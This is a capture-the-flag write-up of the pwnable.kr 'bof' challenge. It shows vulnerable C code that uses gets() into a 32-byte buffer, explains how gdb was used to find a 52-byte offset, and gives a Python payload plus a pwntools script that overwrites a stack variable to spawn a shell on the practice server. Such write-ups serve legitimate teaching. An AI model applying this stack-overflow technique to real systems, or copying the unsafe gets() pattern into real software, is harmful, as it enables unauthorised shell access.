pwnable.kr - bof

Introduction

Hey guys it’s been a long time since my first pwn write-up, today I’ll write about another challenge from pwnable.kr called bof. It was a simple easy buffer overflow challenge (You can also check these), by overwriting a variable we can get a shell. I’ll also write a small exploit with pwntools that spawns a shell automatically.

Challenge Description

1
2
3
4
5
6
7
Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

Pretty straightforward, we have the vulnerable binary, its source code and the port where it’s running.

Code Analysis

Let’s take a look at the code :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

There are two functions, the main function and another function called func()
func():

1
2
3
4
5
6
7
8
9
10
11
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}

Breakdown :
The function takes a variable called key, it starts by creating a variable called overflowme and sets a buffer of 32 chars for it : char overflowme[32];
Then it prints overflow me : (printf("overflow me : ");) and waits for our input which will be saved in the variable overflowme (gets(overflowme);)
After that there’s an if statement that checks if the variable key is equal to 0xcafebabe (if(key == 0xcafebabe){). If that’s true it will spawn a shell (system("/bin/sh");), if key is equal to anything else it will print Nah.. (printf("Nah..\n");)

main() :

1
2
3
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;

Basically what the main function is doing is just calling the function func() giving key the value of 0xdeadbeef

So we need to make key equal to 0xcafebabe instead of 0xdeadbeef to make it spawn a shell. We control overflowme but we don’t control key. If we can cause a buffer overflow we will be able to overwrite key, and obviously overflowme is vulnerable.

Examining the Binary, Exploitation

I ran the program and tested it a couple of times. First one with a short input :

Second one with a longer input and it crashed:

Important thing to note here, we don’t want to know the offset or where the program exactly crashes. This is because we don’t need to overwrite EIP, we need to overwrite a variable’s value and that’s located on the stack. So giving the program a pattern and finding the offset won’t help because we need to know where 0xdeadbeef is located on the stack.
It’s time for gdb. I started gdb and created a break point at main (break main) then I started the program (r) :

It stopped at the break point. We need to disassemble the function func() to get the address of the compare instruction that compares between the value of key and 0xcafebabe to set another break point there and look at the stack.
disas func

We can see the cmpl (Compare Logical) instruction at 0x0000654, Lets set a break point exactly before it :
break *0x80000654

Now let’s continue the execution (c) and wait for our break point.

I gave it a short input because we don’t need to crash it and overwrite stuff on the stack, we just need to look at the stack during a normal execution to locate 0xdeadbeef.
After hitting the second break point let’s look at the stack :
x/50wx $esp

0xdeadbeef appears at the first row in front of 0xbffff2e0 and our input starts to appear at the last row in front of 0xbffff2a0. We can locate the distance between our input and 0xdeadbeef easily, each hex value represents 4 chars (0x41414141 == AAAA) and we have exactly 13 of them before 0xdeadbeef (1 + 4 + 4 + 4).

We need to give the program exactly 52 chars then 0xcafebabe and eventually 0xdeadbeef will be overwritten.
Let’s try it, I used python to print the payload in a file then I piped that file to the nc connection :
python -c "print 'A' * 52 + '\xbe\xba\xfe\xca'" > ./payload
(cat payload && cat) | nc pwnable.kr 9000

Pwned !

Writing an Exploit with pwntools

One of the cool things about pwntools is the simplicity, combined with the simplicity of this exploit will make it just 4 lines of code.
First thing we need to do is to import pwntools :
from pwn import *
We need to store our payload in a variable :
payload = 'A' * 52 + '\xbe\xba\xfe\xca'
Then we need to initiate the connection and assign a variable for it :
shell = remote('pwnable.kr' ,9000)
After that we will send the payload :
shell.send(payload)
And finally we can interact with our shell :
shell.interactive()

1
2
3
4
5
6
7
#!/usr/bin/python
from pwn import *

payload = 'A' * 52 + '\xbe\xba\xfe\xca'
shell = remote('pwnable.kr',9000)
shell.send(payload)
shell.interactive()


Pwned again !
That’s it , Feedback is appreciated !
Don’t forget to read the other write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous pwn write-up : pwnable.kr - fd
Next pwn write-up : pwnable.kr - collision